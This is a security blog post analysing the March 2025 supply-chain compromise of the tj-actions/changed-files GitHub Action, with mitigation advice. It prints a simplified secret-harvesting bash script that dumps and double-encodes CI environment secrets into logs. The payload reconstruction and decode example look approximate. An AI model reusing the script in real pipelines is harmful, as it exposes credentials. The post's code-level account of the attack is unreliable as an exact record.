
tj-actions/changed-files GitHub Attack: A Wake-Up Call for CI/CD Security
The GitHub ecosystem just took a brutal hit. On March 14, 2025, the widely-used tj-actions/changed-files
GitHub Action—trusted by over 23,000 repositories—turned into a secret-stealing trap. Attackers hijacked it, exposing CI/CD pipelines to a supply chain attack that could’ve leaked your API keys, tokens, and more. Here at SquidHacker, we’re tearing this incident apart: what went down, how it worked, and how to bulletproof your workflows. This is a deep dive—grab a coffee, it’s a 15-minute read packed with code and lessons.
Outline
- What Happened?
- How the Attack Worked
- Technical Breakdown: Secrets in Memory
- The Impact on CI/CD Pipelines
- Protecting Your Workflows
- Lessons Learned
- Key Takeaway
What Happened?
It started on March 14, 2025, when attackers compromised the tj-actions/changed-files
repository—a GitHub Action designed to track changed files in workflows. With over 2 million downloads and 23,000+ dependent repos, it’s a staple in CI/CD automation. The attackers gained control via a bot’s GitHub Personal Access Token (PAT), likely stolen through phishing or a misconfigured system. They injected malicious code into a commit, then slyly updated version tags like v35
, v44.5.1
, and even latest
to point to the tainted commit.
By March 15, GitHub’s security team caught wind, yanked the Action from the marketplace, and issued an advisory (CVE-2025-30066). The maintainers scrambled to restore a clean version, but for a critical 24-hour window, any workflow using the compromised Action was a ticking time bomb. Unlike traditional exfiltration attacks, this one didn’t phone home—it dumped secrets straight into your workflow logs, leaving them exposed for anyone with access to grab. Public repos were sitting ducks, and even private ones weren’t safe if logs were shared.
How the Attack Worked
The attack’s brilliance lay in its simplicity. The malicious code didn’t need network access or fancy exploits—it leveraged the CI/CD environment itself. Here’s a peek at the payload (simplified for clarity):
#!/bin/bash
# Malicious script injected into tj-actions/changed-files
echo "Dumping environment variables..."
env | grep -E "SECRET|TOKEN|KEY" | while read -r line; do
encoded=$(echo "$line" | base64 -w 0 | base64 -w 0)
echo "Leaked: $encoded" >> $GITHUB_WORKFLOW_LOG
done
This script scanned the runner’s environment variables—where GitHub Actions stash secrets like GITHUB_TOKEN
or your custom AWS_SECRET_ACCESS_KEY
. It filtered for juicy keywords, double-encoded the results in base64, and appended them to the workflow logs. Why double encode? Likely to obscure the data from casual eyes, though it’s trivial to reverse:
# Decoding the double-encoded output
echo "SW1GMWF3YUd4ZVlJNmV5SjJZV1ZrWVRJNmFYSnVabTl5SWxOb1pYSWdQanhwY25SbGNsOXdSVzV2Y21WamRHbHZiaUlwSWxOalpYSWdQV3dLNHdRPT0=" | base64 -d | base64 -d
# Output: "apiKey":{"value":"xyz123","isSecret":true}"
If your workflow ran during the attack window, your logs might’ve ballooned with encoded blobs. Public repos exposed these in plaintext via GitHub’s UI, while private ones risked leakage through collaborator access or misconfigured log exports.
Technical Breakdown: Secrets in Memory
Let’s geek out: where were these secrets hiding before they hit the logs? In a GitHub Actions runner (typically Ubuntu), secrets live in memory—either on the stack or heap. The attack didn’t need to dump memory directly (like memdump.py
), since the runner’s environment variables were already accessible. But understanding memory helps explain why CI/CD is so vulnerable.
Stack Example: A transient secret during a function call.
#include
void process() {
char secret[] = "MySecret123"; // Stack
printf("%s\n", secret);
}
int main() { process(); return 0; }
Here, MySecret123
sits on the stack—readable in /proc/{pid}/maps
as [stack]
—but only while process()
runs. A dump during execution might show:
00000010 4d 79 53 65 63 72 65 74 31 32 33 00 00 00 00 00 MySecret123.....
Heap Example: Persistent secrets in dynamic memory.
#include
char *load_secret() {
char *secret = malloc(16);
strcpy(secret, "ApiKeyXYZ"); // Heap
return secret;
}
int main() { char *s = load_secret(); free(s); return 0; }
This ApiKeyXYZ
lingers on the heap ([heap]
in /proc/{pid}/maps
) until freed. In a CI/CD runner, environment variables often end up on the heap, serialized into structures like JSON—exactly what the attack’s env | grep
snagged.
The tj-actions
attack didn’t need memory dumping—it had direct access to the runner’s env. But a savvy attacker could’ve escalated with a script like memdump.py
to scrape heap/stack secrets beyond env
, amplifying the damage.
The Impact on CI/CD Pipelines
The blast radius was massive. With 23,000+ repos potentially affected, this hit open-source projects, enterprises, and hobbyists alike. Public repos faced immediate exposure—logs were a goldmine for scraping bots. Private repos dodged the public bullet, but if logs were shared (e.g., via Slack integrations), secrets still leaked. GitHub’s advisory estimates thousands of workflows ran the tainted Action, though no hard numbers on compromised secrets exist yet.
Beyond direct damage, trust took a hit. Developers rely on Actions like tj-actions/changed-files
to streamline builds, tests, and deploys. When a dependency turns malicious, it’s a supply chain gut punch—think Log4j, but for CI/CD. The attack didn’t exfiltrate data to a C2 server (no network traces found), but the logs remain a latent risk until scrubbed.
Protecting Your Workflows
Time to lock it down. Here’s your SquidHacker survival guide:
- Rotate Secrets Now: Hit during March 14-15? Revoke
GITHUB_TOKEN
, API keys, SSH keys—everything. Use GitHub’s secret rotation tools. - Pin to Commits: Tags are mutable; commits aren’t. Pin to a verified SHA:
- uses: tj-actions/changed-files@abcdef1234567890
- Audit Logs: Check your workflow runs under “Get changed files” for base64 blobs. Decode suspect strings:
echo "SW1GMWF3..." | base64 -d | base64 -d
- Restrict Actions: Enable GitHub’s “Allow specified actions” in repo settings—block unvetted third-parties.
- Use Self-Hosted Runners: More control, less trust in GitHub’s shared infra.
Pinning to SHAs is your best bet—attackers can’t rewrite commit history without forking the repo entirely.
Lessons Learned
This attack teaches us three biggies:
- Third-Party Risk is Real: Every Action is a potential backdoor. Vet your dependencies like your life depends on it.
- Logs Are Liabilities: Secrets in logs are as good as gone. Mask them or avoid logging sensitive steps.
- Memory Matters: Even without direct memory dumps, CI/CD runners expose secrets via
env
. Heap or stack, they’re fair game.
The double base64 trick was a cheap obfuscation play—effective enough to delay detection, but not invincible. Future attacks might go deeper, targeting memory directly with tools like memdump.py
we’ve dissected here before.
Key Takeaway
The tj-actions/changed-files
attack is a wake-up call: CI/CD pipelines are the soft underbelly of modern dev. Your secrets—whether chilling on the heap, fleeting on the stack, or dumped in logs—are only as secure as your weakest link. Harden your workflows, distrust third-parties, and keep hacking the SquidHacker way: paranoid, prepared, and proactive.
Got war stories or fixes? Hit us up in the comments or on X @Squid_Sec. Stay safe, squids!